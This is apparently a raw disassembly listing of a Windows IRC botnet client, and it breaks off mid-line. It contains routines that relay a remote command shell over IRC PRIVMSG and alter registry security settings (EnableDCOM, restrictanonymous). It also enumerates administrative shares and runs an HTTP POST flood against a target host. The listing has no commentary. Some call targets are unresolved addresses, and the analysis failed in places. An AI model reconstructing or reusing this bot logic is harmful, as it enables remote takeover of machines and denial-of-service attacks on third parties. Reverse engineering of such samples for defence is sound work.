edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419DB0: ; CODE XREF: sub_419BAA+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi call near ptr 2730D36h nop test eax, eax jnz short loc_419DD4 push edi call esi jmp short loc_419DA9 ; --------------------------------------------------------------------------- loc_419DD4: ; CODE XREF: sub_419BAA+223j push 1 pop eax jmp short loc_419DAB sub_419BAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419DD9 proc near ; DATA XREF: sub_401AC7+2670o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_439C60 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41C006 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_419E38 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409862 add esp, 14h loc_419E38: ; CODE XREF: sub_419DD9+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_419BAA add esp, 18h test eax, eax jnz short loc_419E60 push offset unk_439C3C jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419DD9+7Ej push offset unk_439C18 loc_419E65: ; CODE XREF: sub_419DD9+85j lea eax, [ebp+var_298] push eax call sub_41C006 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_419E98 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409862 add esp, 14h loc_419E98: ; CODE XREF: sub_419DD9+9Dj lea eax, [ebp+var_298] push eax call sub_415CEE push [ebp+var_14] call sub_40B6C9 pop ecx pop ecx push esi nop call near ptr 26F0000h pop edi pop esi sub_419DD9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419EB7 proc near ; CODE XREF: sub_401AC7+7723p ; sub_40B4E8+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 2680883h nop mov esi, eax test esi, esi jz short loc_419EE9 push 0 push esi call near ptr 2730D36h nop test eax, eax jnz short loc_419EE9 push esi xor edi, edi call near ptr 2660000h nop loc_419EE9: ; CODE XREF: sub_419EB7+1Aj ; sub_419EB7+27j mov eax, edi pop edi pop esi retn sub_419EB7 endp ; --------------------------------------------------------------------------- word_419EEE dw 3356h ; DATA XREF: ___:004015E8o dd 56016AF6h, 56565656h, 0FFFCADE8h, 18C483FFh, 9A5C35FFh dd 0E8900043h, 226660Fh db 0EBh, 0E3h ; =============== S U B R O U T I N E ======================================= sub_419F0E proc near ; CODE XREF: sub_419F3E+2Ap ; sub_419F76+7Ep ... mov eax, dword_4D9588 push esi mov esi, dword_427078 cmp eax, 0FFFFFFFFh jz short loc_419F22 push eax call esi loc_419F22: ; CODE XREF: sub_419F0E+Fj mov eax, dword_4D9590 cmp eax, 0FFFFFFFFh jz short loc_419F2F push eax call esi loc_419F2F: ; CODE XREF: sub_419F0E+1Cj mov eax, dword_4D9584 cmp eax, 0FFFFFFFFh jz short loc_419F3C push eax call esi loc_419F3C: ; CODE XREF: sub_419F0E+29j pop esi retn sub_419F0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F3E proc near ; CODE XREF: sub_401AC7+746Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41B960 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4D958C nop call near ptr 2720000h test eax, eax jnz short loc_419F71 call sub_419F0E xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419F71: ; CODE XREF: sub_419F3E+28j push 1 pop eax leave retn sub_419F3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F76 proc near ; CODE XREF: sub_419FFD+D3p ; sub_419FFD+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43B4B8 push [ebp+arg_4] call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_419FB9 push 7D0h call near ptr 268051Bh nop push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41C006 add esp, 10h jmp short loc_419FD0 ; --------------------------------------------------------------------------- loc_419FB9: ; CODE XREF: sub_419F76+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 0Ch loc_419FD0: ; CODE XREF: sub_419F76+41j lea eax, [ebp+var_200] push 0 push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4C9354 test eax, eax jg short loc_419FF9 call sub_419F0E loc_419FF9: ; CODE XREF: sub_419F76+7Cj xor eax, eax leave retn sub_419F76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FFD proc near ; DATA XREF: sub_41A152+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4D9594 loc_41A015: ; CODE XREF: sub_419FFD+79j ; sub_419FFD+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4D9588 nop call near ptr 2840987h test eax, eax jz loc_41A0E3 cmp [ebp+var_4], edi jnz short loc_41A078 lea eax, [ebp+var_8] push eax push dword_4D9584 nop call near ptr 28404DFh test eax, eax jz short loc_41A06E cmp [ebp+var_8], 103h jnz loc_41A107 loc_41A06E: ; CODE XREF: sub_419FFD+62j push 0Ah call near ptr 268051Bh nop jmp short loc_41A015 ; --------------------------------------------------------------------------- loc_41A078: ; CODE XREF: sub_419FFD+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41A08F loc_41A07F: ; CODE XREF: sub_419FFD+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_41A0DD inc eax cmp eax, [ebp+var_4] jb short loc_41A07F loc_41A08F: ; CODE XREF: sub_419FFD+80j mov [ebp+var_4], esi loc_41A092: ; CODE XREF: sub_419FFD+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4D9588 nop call near ptr 2710000h test eax, eax jz short loc_41A12F lea eax, [ebp+var_20C] push eax push ebx push dword_4D95C8 call sub_419F76 add esp, 0Ch jmp loc_41A015 ; --------------------------------------------------------------------------- loc_41A0DD: ; CODE XREF: sub_419FFD+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41A092 ; --------------------------------------------------------------------------- loc_41A0E3: ; CODE XREF: sub_419FFD+45j push offset unk_439CE8 push ebx push dword_4D95C8 call sub_419F76 push [ebp+arg_0] call sub_40B6C9 add esp, 10h push 1 nop call near ptr 26F0000h loc_41A107: ; CODE XREF: sub_419FFD+6Bj call sub_419F0E push offset unk_439CC0 push ebx push dword_4D95C8 call sub_419F76 push [ebp+arg_0] call sub_40B6C9 add esp, 10h push edi nop call near ptr 26F0000h loc_41A12F: ; CODE XREF: sub_419FFD+C3j push offset unk_439C90 push ebx push dword_4D95C8 call sub_419F76 push [ebp+arg_0] call sub_40B6C9 add esp, 10h push edi nop call near ptr 26F0000h sub_419FFD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A152 proc near ; CODE XREF: sub_401AC7+2494p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419F0E xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_433EDC push esi call dword_4C93C0 test eax, eax jz loc_41A24C push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_427114 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_41A24C lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_41A24C mov edi, dword_427110 push 3 push esi push esi push offset dword_4D958C call edi push eax push [ebp+var_8] call edi push eax call near ptr 2740000h nop test eax, eax jz short loc_41A24C push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41BD10 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41BD10 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43B4B8 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 26603BDh test eax, eax jnz short loc_41A254 loc_41A24C: ; CODE XREF: sub_41A152+2Fj ; sub_41A152+5Cj ... or eax, 0FFFFFFFFh jmp loc_41A302 ; --------------------------------------------------------------------------- loc_41A254: ; CODE XREF: sub_41A152+F8j push [ebp+var_4] mov edi, dword_427078 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4D9588, eax mov eax, [ebp+var_8] mov dword_4D9590, eax mov eax, [ebp+var_2C] mov dword_4D9584, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4D95C8, eax jz short loc_41A28E push [ebp+arg_4] jmp short loc_41A28F ; --------------------------------------------------------------------------- loc_41A28E: ; CODE XREF: sub_41A152+135j push ebx loc_41A28F: ; CODE XREF: sub_41A152+13Aj push offset dword_4D9594 call sub_41C006 pop ecx pop ecx push esi push 0Ah push offset unk_439D4C call sub_40B3AD mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43C248[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419FFD push esi push esi nop call near ptr 26805C5h cmp eax, esi mov dword_43C254[edi], eax jnz short loc_41A300 call near ptr 2680DCDh nop push eax lea eax, [ebp+var_378] push offset unk_439D18 push eax call sub_41C006 lea eax, [ebp+var_378] push eax call sub_415CEE add esp, 10h loc_41A300: ; CODE XREF: sub_41A152+185j xor eax, eax loc_41A302: ; CODE XREF: sub_41A152+FDj pop edi pop esi pop ebx leave retn sub_41A152 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A307 proc near ; DATA XREF: sub_401AC7+2DD8o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A34E call sub_41A367 jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A34E: ; CODE XREF: sub_41A307+3Ej call sub_41A68B loc_41A353: ; CODE XREF: sub_41A307+45j add esp, 10h push [ebp+var_14] call sub_40B6C9 pop ecx push 0 call near ptr 26F0000h nop sub_41A307 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A367 proc near ; CODE XREF: sub_41A307+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4C93D4, edi jnz loc_41A499 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4C9374 test eax, eax jnz short loc_41A3F2 mov ax, word_438AC0 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4C9328 test eax, eax jz short loc_41A3D4 push offset dword_439FE8 jmp short loc_41A3D9 ; --------------------------------------------------------------------------- loc_41A3D4: ; CODE XREF: sub_41A367+64j push offset dword_439FC8 loc_41A3D9: ; CODE XREF: sub_41A367+6Bj lea eax, [ebp+var_214] push eax call sub_41C006 pop ecx pop ecx push [ebp+var_4] call dword_4C92E0 jmp short loc_41A405 ; --------------------------------------------------------------------------- loc_41A3F2: ; CODE XREF: sub_41A367+36j lea eax, [ebp+var_214] push offset dword_439F98 push eax call sub_41C006 pop ecx pop ecx loc_41A405: ; CODE XREF: sub_41A367+89j cmp [ebp+arg_C], edi jnz short loc_41A424 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A424: ; CODE XREF: sub_41A367+A1j lea eax, [ebp+var_214] push eax call sub_415CEE pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4C9374 test eax, eax jnz short loc_41A492 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4C9328 test eax, eax jz short loc_41A474 push offset dword_439F48 jmp short loc_41A479 ; --------------------------------------------------------------------------- loc_41A474: ; CODE XREF: sub_41A367+104j push offset dword_439F14 loc_41A479: ; CODE XREF: sub_41A367+10Bj lea eax, [ebp+var_214] push eax call sub_41C006 pop ecx pop ecx push [ebp+var_4] call dword_4C92E0 jmp short loc_41A4AC ; --------------------------------------------------------------------------- loc_41A492: ; CODE XREF: sub_41A367+E2j push offset dword_439ED8 jmp short loc_41A49E ; --------------------------------------------------------------------------- loc_41A499: ; CODE XREF: sub_41A367+13j push offset dword_439EA8 loc_41A49E: ; CODE XREF: sub_41A367+130j lea eax, [ebp+var_214] push eax call sub_41C006 pop ecx pop ecx loc_41A4AC: ; CODE XREF: sub_41A367+129j cmp [ebp+arg_C], edi jnz short loc_41A4CB push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A4CB: ; CODE XREF: sub_41A367+148j lea eax, [ebp+var_214] push eax call sub_415CEE cmp dword_4C93FC, edi pop ecx jnz loc_41A646 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A4EE: ; CODE XREF: sub_41A367+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4C9248 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A58B cmp eax, 0EAh jz short loc_41A58B mov esi, offset off_439D70 loc_41A51F: ; CODE XREF: sub_41A367+21Dj push dword ptr [esi] push edi call sub_419175 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A536 push offset dword_439E84 jmp short loc_41A53B ; --------------------------------------------------------------------------- loc_41A536: ; CODE XREF: sub_41A367+1C6j push offset dword_439E58 loc_41A53B: ; CODE XREF: sub_41A367+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41C100 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A56E push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A56E: ; CODE XREF: sub_41A367+1EBj lea eax, [ebp+var_214] push eax call sub_415CEE add esi, 8 pop ecx cmp esi, offset dword_439D90 jl short loc_41A51F jmp loc_41A623 ; --------------------------------------------------------------------------- loc_41A58B: ; CODE XREF: sub_41A367+1AAj ; sub_41A367+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A61A loc_41A59A: ; CODE XREF: sub_41A367+2AFj mov edi, [esi] push edi call sub_41DFB7 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A60F push edi call sub_419062 push eax push 0 call sub_419175 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A5C9 push offset dword_439E34 jmp short loc_41A5CE ; --------------------------------------------------------------------------- loc_41A5C9: ; CODE XREF: sub_41A367+259j push offset dword_439E08 loc_41A5CE: ; CODE XREF: sub_41A367+260j lea eax, [ebp+var_214] push 200h push eax call sub_41C100 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A602 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A602: ; CODE XREF: sub_41A367+27Fj lea eax, [ebp+var_214] push eax call sub_415CEE pop ecx loc_41A60F: ; CODE XREF: sub_41A367+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A59A xor edi, edi loc_41A61A: ; CODE XREF: sub_41A367+22Dj push [ebp+var_8] call dword_4C9394 loc_41A623: ; CODE XREF: sub_41A367+21Fj cmp [ebp+var_10], 0EAh jz loc_41A4EE lea eax, [ebp+var_214] push offset dword_439DE0 push eax call sub_41C006 pop ecx pop ecx pop ebx jmp short loc_41A659 ; --------------------------------------------------------------------------- loc_41A646: ; CODE XREF: sub_41A367+177j lea eax, [ebp+var_214] push offset dword_439DB0 push eax call sub_41C006 pop ecx pop ecx loc_41A659: ; CODE XREF: sub_41A367+2DDj cmp [ebp+arg_C], edi jnz short loc_41A677 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A677: ; CODE XREF: sub_41A367+2F5j lea eax, [ebp+var_214] push eax call sub_415CEE pop ecx push 1 pop eax pop edi pop esi leave retn sub_41A367 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A68B proc near ; CODE XREF: sub_41A307:loc_41A34Ep var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4C93D4, ebx push esi jnz loc_41A7B9 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4C9374 test eax, eax jnz short loc_41A716 mov ax, word_438B04 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4C9328 test eax, eax jz short loc_41A6F8 push offset dword_43A160 jmp short loc_41A6FD ; --------------------------------------------------------------------------- loc_41A6F8: ; CODE XREF: sub_41A68B+64j push offset dword_43A144 loc_41A6FD: ; CODE XREF: sub_41A68B+6Bj lea eax, [ebp+var_220] push eax call sub_41C006 pop ecx pop ecx push [ebp+var_4] call dword_4C92E0 jmp short loc_41A729 ; --------------------------------------------------------------------------- loc_41A716: ; CODE XREF: sub_41A68B+36j lea eax, [ebp+var_220] push offset dword_439F98 push eax call sub_41C006 pop ecx pop ecx loc_41A729: ; CODE XREF: sub_41A68B+89j cmp [ebp+arg_C], ebx jnz short loc_41A748 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A748: ; CODE XREF: sub_41A68B+A1j lea eax, [ebp+var_220] push eax call sub_415CEE pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4C9374 test eax, eax jnz short loc_41A7B2 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4C9328 test eax, eax jz short loc_41A794 push offset dword_43A104 jmp short loc_41A799 ; --------------------------------------------------------------------------- loc_41A794: ; CODE XREF: sub_41A68B+100j push offset dword_43A0CC loc_41A799: ; CODE XREF: sub_41A68B+107j lea eax, [ebp+var_220] push eax call sub_41C006 pop ecx pop ecx push [ebp+var_4] call dword_4C92E0 jmp short loc_41A7CC ; --------------------------------------------------------------------------- loc_41A7B2: ; CODE XREF: sub_41A68B+E2j push offset dword_43A090 jmp short loc_41A7BE ; --------------------------------------------------------------------------- loc_41A7B9: ; CODE XREF: sub_41A68B+13j push offset dword_439EA8 loc_41A7BE: ; CODE XREF: sub_41A68B+12Cj lea eax, [ebp+var_220] push eax call sub_41C006 pop ecx pop ecx loc_41A7CC: ; CODE XREF: sub_41A68B+125j cmp [ebp+arg_C], ebx jnz short loc_41A7EB push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A7EB: ; CODE XREF: sub_41A68B+144j lea eax, [ebp+var_220] push eax call sub_415CEE cmp dword_4C93FC, ebx pop ecx jnz loc_41A95D push edi mov esi, offset off_439D70 mov edi, 200h loc_41A80F: ; CODE XREF: sub_41A68B+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_4190C9 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A82A push offset dword_43A070 jmp short loc_41A82F ; --------------------------------------------------------------------------- loc_41A82A: ; CODE XREF: sub_41A68B+196j push offset dword_43A048 loc_41A82F: ; CODE XREF: sub_41A68B+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41C100 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A85E push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A85E: ; CODE XREF: sub_41A68B+1B7j lea eax, [ebp+var_220] push eax call sub_415CEE add esi, 8 pop ecx cmp esi, offset off_439D80 jl short loc_41A80F nop call near ptr 2850000h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A945 loc_41A889: ; CODE XREF: sub_41A68B+2B4j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A93A cmp bl, 41h jz loc_41A93A movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41C100 push esi push offset aC_0 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_41C100 add esp, 20h lea eax, [ebp+var_20] push eax call dword_4C9364 cmp eax, 3 jnz short loc_41A93A lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_4190C9 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A8F8 push offset dword_43A070 jmp short loc_41A8FD ; --------------------------------------------------------------------------- loc_41A8F8: ; CODE XREF: sub_41A68B+264j push offset dword_43A048 loc_41A8FD: ; CODE XREF: sub_41A68B+26Bj lea eax, [ebp+var_220] push edi push eax call sub_41C100 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A92D push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A92D: ; CODE XREF: sub_41A68B+286j lea eax, [ebp+var_220] push eax call sub_415CEE pop ecx loc_41A93A: ; CODE XREF: sub_41A68B+206j ; sub_41A68B+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A889 loc_41A945: ; CODE XREF: sub_41A68B+1F8j lea eax, [ebp+var_220] push offset dword_43A018 push eax call sub_41C006 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A970 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A68B+173j lea eax, [ebp+var_220] push offset dword_439DB0 push eax call sub_41C006 pop ecx pop ecx loc_41A970: ; CODE XREF: sub_41A68B+2D0j cmp [ebp+arg_C], ebx jnz short loc_41A98E push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A98E: ; CODE XREF: sub_41A68B+2E8j lea eax, [ebp+var_220] push eax call sub_415CEE pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A68B endp ; =============== S U B R O U T I N E ======================================= sub_41A9A2 proc near ; CODE XREF: sub_41AB97+CBp ; sub_41AB97+DDp ... arg_0 = dword ptr 4 nop call near ptr 26A0729h push eax call sub_41C058 pop ecx call sub_41C062 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A9A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A9BC proc near ; CODE XREF: sub_41AB97+D4p ; sub_41AB97+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41B960 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41AB93 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41BD10 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40A8E4 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41AB93 push 50h call dword_4C9304 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4C9384 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41AB93 lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4C92AC cmp eax, 0FFFFFFFFh jz loc_41AB93 push 32003h call sub_41D735 mov edi, dword_4270B8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41C058 call sub_41C062 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41BD10 push 32000h push esi push ebx call sub_41BD10 push ebx call sub_41B960 push 323EAh mov ebx, eax call sub_41D735 push ebx mov esi, eax push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41C006 push [ebp+var_8] push esi call sub_41C630 push offset asc_4341E4 ; "\r\n" push esi call sub_41C630 add esp, 40h push esi call sub_41B960 mov ebx, eax pop ecx mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41AB13 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41AAE3 ; --------------------------------------------------------------------------- loc_41AAE0: ; CODE XREF: sub_41A9BC+155j mov eax, [ebp+arg_0] loc_41AAE3: ; CODE XREF: sub_41A9BC+122j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41AAF3 push [ebp+var_C] jmp short loc_41AAF4 ; --------------------------------------------------------------------------- loc_41AAF3: ; CODE XREF: sub_41A9BC+130j push ebx loc_41AAF4: ; CODE XREF: sub_41A9BC+135j add eax, esi push eax push [ebp+var_4] call dword_4C9354 cmp eax, 0FFFFFFFFh jz short loc_41AB7A add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41AAE0 loc_41AB13: ; CODE XREF: sub_41A9BC+118j call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_42770C fst [ebp+arg_0] fcomp flt_427708 fnstsw ax sahf jnz short loc_41AB3B fld1 fstp [ebp+arg_0] loc_41AB3B: ; CODE XREF: sub_41A9BC+178j push [ebp+var_4] call dword_4C939C push [ebp+var_8] call sub_41BA31 push esi call sub_41BA31 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_427704 fmul flt_427700 call sub_41CF04 loc_41AB75: ; CODE XREF: 